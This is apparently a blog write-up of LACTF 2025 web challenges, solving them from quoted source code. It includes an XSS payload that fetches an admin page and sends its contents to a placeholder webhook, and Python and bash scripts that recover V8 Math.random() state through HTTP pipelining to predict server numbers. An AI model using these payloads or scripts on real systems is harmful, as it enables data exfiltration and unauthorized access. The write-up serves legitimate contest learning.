Post

LACTF 2025 - Writeups

easy admin bot XSS, predict Math.random() in V8 engine,

LACTF 2025 - Writeups

This time i only solved 2 web challenges, and take most of the time on the Whats My Numba. BTW congratulations to RaptX taking the 33rd place in the competition.

mav-fans (239 points, 15th solve/310 solves)

Here is the source code:

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
...
....

const posts = new Map();
posts.set(crypto.randomUUID(), {message: "Yo Luka's gonna be our franchise player... he's the next Dirk!", published: true});
posts.set(crypto.randomUUID(), {message: "I got full faith in our front office to build a championship team around Luka these next few years.", published: true});
posts.set(crypto.randomUUID(), {message: "Glad we're not the Lakers right now... only over-the-hill stars and not even contending.", published: true});

const publishedPosts = Object.fromEntries(
    [...posts].filter(([id, post]) => post.published)
);

const FLAG = process.env.FLAG || 'lactf{test_flag}';
const ADMIN_SECRET = process.env.ADMIN_SECRET || 'placeholder';

app.get('/admin', (req, res) => {
    if (!req.cookies.secret || req.cookies.secret !== ADMIN_SECRET) {
        return res.redirect("/");
    }
    return res.json({ trade_plan: FLAG });
});

app.post('/api/post', (req, res) => {
    const { message } = req.body;
    const newId = crypto.randomUUID();
    if (message) {
        posts.set(newId, {message: message, published: false});
    }
    return res.redirect(`/post/${newId}`);
});

app.get('/api/posts', (req, res) => {
    return res.json(publishedPosts);
});

app.get('/api/post/:id', (req, res) => {
    const post = posts.get(req.params.id);
    if (!post) return res.status(404).send('Post not found');
    return res.json(post);
});

app.get('/post/:id', (req, res) => {
    res.sendFile(__dirname + '/public/post/post.html');
});

...
....

It is obvious that the flag is stored in the response of the /admin endpoint, but we need to know the secret key. Since the secret key is stored in the admin environment variable, we can use the XSS to pass the secret from admin to the endpoint and send the response which contains the flag to our webhook:

Payload:

1
<img src=x onerror='fetch("/admin").then(r=>r.text()).then(d=>location="<YOUR_WEBHOOK>?"+d)'>

Then we quickly take our generated post link, and put into admin bot.

lactf{m4yb3_w3_sh0u1d_tr4d3_1uk4_f0r_4d}

Chessbased (265 points, 21st solve/247 solves)

Another easy one:

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
...

const port = process.env.PORT ?? 3000;
const flag = process.env.FLAG ?? 'lactf{owo_uwu}';
const adminpw = process.env.ADMINPW ?? 'adminpw';
const challdomain = process.env.CHALLDOMAIN ?? 'http://localhost:3000/';

openings.forEach((op) => (op.premium = false));
openings.push({ premium: true, name: 'flag', moves: flag });

const lookup = new Map(openings.map((op) => [op.name, op]));

app = express();

app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, '../frontend/dist')));
app.use(express.json());

app.get('/render', (req, res) => {
  const id = req.query.id;
  const op = lookup.get(id);
  res.send(`
    <p>${op?.name}</p>
    <p>${op?.moves}</p>
  `);
});

app.post('/search', (req, res) => {
  if (req.headers.referer !== challdomain) {
    res.send('only challenge is allowed to make search requests');
    return;
  }
  const q = req.body.q ?? 'n/a';
  const hasPremium = req.cookies.adminpw === adminpw;
  for (const op of openings) {
    if (op.premium && !hasPremium) continue;
    if (op.moves.includes(q) || op.name.includes(q)) {
      return res.redirect(`/render?id=${encodeURIComponent(op.name)}`);
    }
  }
  return res.send('lmao nothing');
});

app.listen(port, () => {
  console.log(`Listening on http://localhost:${port}`);
});

...

openings.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const openings = [
  { name: 'Ruy Lopez', moves: 'e4 e5 nf3 nc6 bb5 a6 ba4 nf6 0-0 be7 re1 b5 0-0' },
  { name: 'Italian Game', moves: 'e4 e5 nf3 nc6 bc4 nf6 d3 d6 0-0 0-0' },
  { name: 'Sicilian Defense', moves: 'e4 c5 nf3 d6 d4 cxd4 nxd4 nf6' },
  { name: 'French Defense', moves: 'e4 e6 d4 d5 nd2 nf6 e5 nfd7' },
  { name: 'Caro-Kann Defense', moves: 'e4 c6 d4 d5 exd5 cxd5 nd2 nf6 ngf3 e6' },
  { name: 'Scotch Game', moves: 'e4 e5 nf3 nc6 d4 exd4 nxd4 bc5' },
  { name: 'King\'s Gambit', moves: 'e4 e5 f4 exf4 nf3 g5 d4' },
  { name: 'Queen\'s Gambit', moves: 'd4 d5 c4 e6 nc3 nf6 bg5 be7 e3 0-0' },
  { name: 'Slav Defense', moves: 'd4 d5 c4 c6 nc3 nf6 e3 e6' },
  { name: 'Grunfeld Defense', moves: 'd4 nf6 c4 g6 nc3 d5' },
  { name: 'Nimzo-Indian Defense', moves: 'd4 nf6 c4 e6 nc3 bb4' },
  { name: 'Queen\'s Indian Defense', moves: 'd4 nf6 c4 b6 nc3 e6' },
  { name: 'King\'s Indian Defense', moves: 'd4 nf6 c4 g6 nc3 bg7' },
  { name: 'Dutch Defense', moves: 'd4 f5 c4 nf6 nc3 e6' },
  { name: 'English Opening', moves: 'c4 e5 nf3 nc6 d4 exd4' },
  { name: 'Réti Opening', moves: 'nf3 d5 c4 c6 g3' },
  { name: 'Barne\'s Opening', moves: 'f4 e5 fxe5 qh4+ g3 qxe5+ be2' },
...
];

module.exports.openings = openings;

Firstly, flag is stored in the premium opening, that will be the condition to prevent getting flag from the index page.

At index page, we can input string then the program use /render endpoint to return the chess opening with the input string in the moves. This filter flag with ` if (op.premium && !hasPremium) continue;`

But the /render endpoint still no validation, simple get the flag from directly call the endpoint with parameter id=flag

lactf{t00_b4s3d_4t_ch3ss_f3_kf2}

What’s My Numba (426 points, 20 solves) (UPSOLVED)

numba1

During the CTF

Yes, you have to guess the right number, here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
const express = require("express");
const path = require("path");
const fs = require("fs");
const http = require("http");

const app = express();
const PORT = process.env.PORT || 3000;

const SPAM_PERIOD = 40;

let total_guesses = 0;

function getRandom() {
  return Math.floor(Math.random() * 1e9);
}

app.use(express.static(path.join(__dirname, "../public")));

// Endpoint to get a random number
app.get("/api/random", (req, res) => {
  const randomNumber = getRandom();
  res.json({ randomNumber });
});

// Endpoint to guess a number
app.get("/api/guess", (req, res) => {
  const guess = req.query.num;
  let guess_num;

  total_guesses += 1;

  try {
    guess_num = parseInt(guess);
  } catch (error) {
    console.error("Could not parse guess:", guess);
    res.status(500).json({ error: "Could not parse guess" });
    return;
  }

  if (isNaN(guess_num)) {
    console.error("Could not parse guess:", guess);
    res.status(500).json({ error: "Could not parse guess" });
    return;
  }

  let test_num = getRandom();

  if (test_num === guess_num) {
    fs.readFile(path.join(__dirname, "../flag.txt"), "utf-8", (err, flag) => {
      if (err) {
        console.error("Failed to read flag file", err);
        res.status(500).json({
          error: "Error reading flag file, please contact CTF organizers",
        });
        return;
      }
      const response_msg = flag;
      res.json({ response_msg, total_guesses });
    });
  } else {
    let response_msg = "Wrong number! The right number is: " + test_num;
    res.json({ response_msg, total_guesses });
  }
});

// Start the server
app.listen(PORT, () => {
  console.log(`Server is running on http://localhost:${PORT}`);
});

// Spam requests to the server at some fixed interval
// Use a persistent http session
let failed_requests = 0;

const start_spamming = () => {
  console.log("Starting spam requests");

  const agent = new http.Agent({ keepAlive: true });

  const send_request = () => {
    const options = {
      hostname: "localhost",
      port: PORT,
      path: "/api/random",
      method: "GET",
      agent: agent,
    };

    const req = http.request(options, (res) => {
      let data = "";

      res.on("data", (chunk) => {
        data += chunk;
        failed_requests = 0;
      });
    });

    req.on("error", (error) => {
      console.error("Request error: ", error);
      failed_requests++;

      // If 10 requests in a row fail, exit the program; something is wrong
      if (failed_requests >= 10) {
        console.error("Too many requests failing! Exiting program.");
        process.exit(1);
      }
    });

    req.end();
  };

  setInterval(send_request, SPAM_PERIOD);
};

setTimeout(start_spamming, 500);

Overall, our mission is guess the number generated by:

1
2
3
function getRandom() {
  return Math.floor(Math.random() * 1e9);
}

There are 2 endpoints:

  • /api/random to get the random number
1
2
const randomNumber = getRandom();
res.json({ randomNumber });
  • /api/guess to guess the number, if correct => flag
1
const guess = req.query.num;

Firstly, i thought that was possible to race condition, quickly make a request to the /api/random, then take that number to our input, here is my script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import asyncio
import aiohttp

async def exploit():
    async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=1)) as session:
        while True:
            async with session.get('https://whats-my-number-qccg3.instancer.lac.tf/api/random') as response:
                json_data = await response.json()
                number = json_data['randomNumber']
                print(f"Server generated: {number}")
                    
                async with session.get(f'https://whats-my-number-falcf.instancer.lac.tf/api/guess?num={number}') as guess_response:
                    result = await guess_response.json()
                    print(f"Guess result: {result['response_msg']}")
                    if 'Wrong number!' not in result['response_msg']:
                        print("Got the flag!")
                        break
            
            await asyncio.sleep(0.01)  

if __name__ == "__main__":
    asyncio.run(exploit())

but then i failed then realize that its impossible till the line 46:

1
2
3
4
5
6
7
  ...
  let test_num = getRandom();

  if (test_num === guess_num) {
    GET FLAG
  }
  ...

Means the number we got in /api/random is not the same as the number we input in /api/guess, cause when you guess, you make a new random number, so we need to predict the number.

Normally, its impossible to predict the number, but we can dive into how the math.random() works, after looking around the internet, i found that the repo which has works on this math.random() vulnerability: IT’S possible to predict the number: https://github.com/d0nutptr/v8_rand_buster. After watch their video, i start some test then i aint get the right number since the output only the previous number, not the next one, i think i need a different script, but i still try. Here is my script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os
import asyncio
import aiohttp
import time

async def capture_samples():
    async with aiohttp.ClientSession() as session:
        numbers = []
        # Maintain PRNG state order
        start_time = time.perf_counter()
        for _ in range(4):  # Reduced to 4 samples for faster collection
            async with session.get('https://whats-my-number-8yzvk.instancer.lac.tf/api/random') as response:
                json_data = await response.json()
                numbers.append(int(json_data['randomNumber']))
        end_time = time.perf_counter()
        print(f"Time taken: {end_time - start_time} seconds")
        return numbers[::-1]  # Return reversed to maintain correct order

async def exploit():
    samples = await capture_samples()
    with open("codes.txt", "w") as f:
        for i in range(len(samples)):
            f.write(f"{samples[i]}\n")
    os.system(f"cat codes.txt | python3 xs128p.py --multiple 1000000000")
    print("--------------------------------")

if __name__ == "__main__":
    asyncio.run(exploit())
1
2
3
4
hsw@iShowHSw:~/New Home/CTF/CTFs/laCTF/number$ python3 test.py
Time taken: 0.9389977660011937 seconds
Failed to find a valid solution
--------------------------------

But here is the thing, the Math.random() basically it have the state is state0 and state1, normally its like the “seed” in random generator, the state0 and state1 is advanced (means the seeds is changed) if the process exit.

1
2
3
4
5
6
7
8
const send_request = () => {
    const options = {
      hostname: "localhost",
      port: PORT,
      path: "/api/random",
      method: "GET",
      agent: agent,
    };
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
    req.on("error", (error) => {
      console.error("Request error: ", error);
      failed_requests++;

      // If 10 requests in a row fail, exit the program; something is wrong
      if (failed_requests >= 10) {
        console.error("Too many requests failing! Exiting program.");
        process.exit(1);
      }
    });

    req.end();
  };

  setInterval(send_request, SPAM_PERIOD);

SPAM_PERIOD is 40ms, means every 40ms the server send a request to /api/random itself, so it can cause 2 problems:

  1. The state0 and state1 is advanced, if there are 10 failed requests on a row.
  2. Response number from our request is not consecutive. As you can see in upper output, it take 0.9389977660011937 seconds to get 4 samples, means there are a lot of number is generated in that time.

After the CTF ended

So we need to somehow catch the consecutive number from our request, then predict the number, submit the number to the /api/guess, then get the flag. I was stopped here, after the CTF ended, the intended solution use HTTP/2 single packet to solved. But some team solve it with HTTP Pipelining:

HTTP Pipelining

Yes, basically HTTP Pipelining is a feature that allow us to send multiple request in a single connection, and dont need to wait for the response of the previous request, so we can catch the consecutive number from our request, then predict the number, submit the number to the /api/guess, then get the flag.

Here is my pipelining script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import socket
import json
import ssl
import sys

TARGET = sys.argv[1]


def pipelining(num_requests):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((TARGET, 443))
    
    # SSL wrap
    context = ssl.create_default_context()
    sock = context.wrap_socket(sock, server_hostname=TARGET)
    
    # Send pipelined requests
    pipeline = ''
    for _ in range(num_requests):
        request = (
            'GET /api/random HTTP/1.1\r\n'
            f'Host: {TARGET}\r\n'
            'Connection: keep-alive\r\n'
            'Accept: application/json\r\n'
            'User-Agent: Python/3.x\r\n'
            '\r\n'
        )
        pipeline += request
    
    sock.sendall(pipeline.encode())
    
    # Read all responses
    all_data = ''
    numbers = []
    
    # Keep reading until we get all responses
    while len(numbers) < num_requests:
        data = sock.recv(4096).decode()
        all_data += data
        # Parse complete responses
        if '\r\n\r\n' in data:
            num = data.split('\r\n\r\n')[1]
            numbers.append(json.loads(num)['randomNumber'])
    return numbers[::-1]

def exploit():
    numbers = pipelining(7)
    print(f"Got numbers: {numbers}")
    
if __name__ == "__main__":
    exploit()

And here we got the state0 and state1, then we can predict the number, submit the number to the /api/guess for getting the flag.

pipe2

But our problem that the script only predict the previous number, not the next one, so we need to make a new script to predict the next number, but actually i dont want to dive into that how its actually processing to fix the script, so i just declare my idea here. After seeing the structure of the solve from author (not what he does), i have idea use bash to automate the exploit process, this reduce the time significantly compare to my previous script that import os to the python script.

LUCKILY, my idea works, there are no problem in xor128p.py script, letsgo here the workflow:

Workflow

  1. Extract Consecutive Number
    • Use pipelining script to get the starting number
  2. State Extraction
    • Get current state from the number
  3. Number Prediction
    • Generate next 500 numbers based on the state
  4. Batch Submission
    • Split 500 numbers into 5 batches (100 each, cause on my observation if make larger request => failed after 100th) So we can use this 500 x 40ms = 20 seconds interval to get the flag
    • Submit to /api/guess endpoint with pipelining => get the flag

Here is the bash script for automating the workflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

# Get hostname from argument
HOST=$1

# Get numbers from pipelining
TEMP_NUMBERS=$(python3 pipeline.py "$HOST")

# Extract just the numbers from the output and get the state
STATE=$(grep -o '[0-9]\+' <<< "$TEMP_NUMBERS" | python3 xs128p.py --multiple 1000000000)

# Generate next 500 numbers using given state
PREDICTED_NUMBERS=$(python3 xs128p.py --multiple 1000000000 --gen $STATE,500 ) # 500 x 40ms = 2s, then we send all that requests
python3 exploit.py "$HOST" "$PREDICTED_NUMBERS"

Also the exploit.py to sending predicted number in each batch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import ssl
import sys

HOST = sys.argv[1]
all_numbers = [int(x.strip()) for x in sys.argv[2].split('\n')]

# Process numbers in batches of 100
for i in range(0, len(all_numbers), 100):
    numbers = all_numbers[i:i+100]  # Get next 100 numbers
    print(f"Trying batch {i//100 + 1}: {len(numbers)} numbers")
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, 443))
    context = ssl.create_default_context()
    sock = context.wrap_socket(sock, server_hostname=HOST)
    sock.settimeout(2)

    data = ''
    for num in numbers:
        data += f"GET /api/guess/?num={num} HTTP/1.1\r\nHost: {HOST}\r\nConnection: keep-alive\r\nAccept: application/json\r\nUser-Agent: Python/3.x\r\n\r\n"

    sock.sendall(data.encode())
    
    try:
        while True:
            response = sock.recv(4096).decode()
            if not response:  # If server closes connection
                break
            print(response)
            if 'lactf{' in response:
                print(f"Found flag! {response}")
                sys.exit(0)  # Exit immediately when flag is found
    except socket.timeout:
        print("Timeout reached")
    finally:
        sock.close()

sys.exit(0)  # Exit after trying all batches

LESGOOOO!!!

numbasol

lactf{th1s_fl4g_1s_1nc0nv3n13ntly_l0ng_4nd_full_0f_m1sd1r3ct10n_my_numbah_is_60_watah}

Whack a mole (463 points, 10 solves) (UNSOLVED)

Basically, you input your name, just this.

whack

During the CTF

Here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from flask import Flask, session, request, redirect, render_template
import os
import random as rng
from cryptography.fernet import Fernet
from flask.sessions import SessionInterface, SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
from itsdangerous.encoding import base64_decode, base64_encode

flag = os.environ.get("FLAG", "lactf{owo_uwu}")

app = Flask(__name__, static_folder="static")
app.secret_key = os.urandom(32).hex()

key = Fernet.generate_key()
f = Fernet(key)

class EncryptedSerializer(URLSafeTimedSerializer):
    def load_payload(self, payload, *args, serializer = None, **kwargs):
        encrypted = base64_decode(payload)
        decrypted = f.decrypt(encrypted)
        return super().load_payload(decrypted, *args, serializer, **kwargs)

    def dump_payload(self, obj):
        decrypted = super().dump_payload(obj)
        encrypted = f.encrypt(decrypted)
        return base64_encode(encrypted)

# impl yoinked from https://github.com/pallets/flask/blob/f61172b8dd3f962d33f25c50b2f5405e90ceffa5/src/flask/sessions.py#L317
class EncryptedSessionInterface(SecureCookieSessionInterface):
    def get_signing_serializer(self, app):
        if not app.secret_key:
            return None

        keys: list[str | bytes] = [app.secret_key]

        return EncryptedSerializer(
            keys,  # type: ignore[arg-type]
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs={
                "key_derivation": self.key_derivation,
                "digest_method": self.digest_method,
            },
        )

app.session_interface = EncryptedSessionInterface()


@app.post("/login")
def login():
    name = str(request.form.get("username"))
    funny_num = int(request.form.get("funny"))
    password = bytes((ord(ch) + funny_num) % 128 for ch in flag).decode()
    session["username"] = name
    session["sudopw"] = password
    return redirect("/game")


@app.post("/whack")
def whack():
    if "username" not in session:
        return {"err": "login pls"}

    if session["username"] == session["sudopw"]:
        return {"win": True}

    return {"mole": rng.randrange(5), "win": False}

@app.get("/")
def index():
    return render_template("index.html")

@app.get("/game")
def game():
    if "username" not in session:
        return redirect("/")
    return render_template("game.html", username=session["username"])


if __name__ == "__main__":
    app.run("0.0.0.0", 8000, debug=True)


Its override the how flask session works with their own encryption method, that use base64+fernet to encrypt the session. First, i came up with the idea to bruteforce the secret key, but that impossible. Then i do some research to bypass the check “==” in if session["username"] == session["sudopw"]: we got message “True”, like \0a\0 can ‘==’ to a cause partial comparison, but i got nothing. I thought that is the only way to get the flag. I had discuss with my teammate that we can bruteforce each character of the flag, but we need a sign to know that flag is correct or not, me so dumb.

After the CTF

I miss the most important part, that we have the sink in to put our username, then session is generated base on it. So we just need to see the different between each generated session. Here is the author’s solution

Conclusion

Thanks UCLA for the good CTF, i learn a lot from this CTF, ggwp!

This post is licensed under CC BY 4.0 by the author.

Trending Tags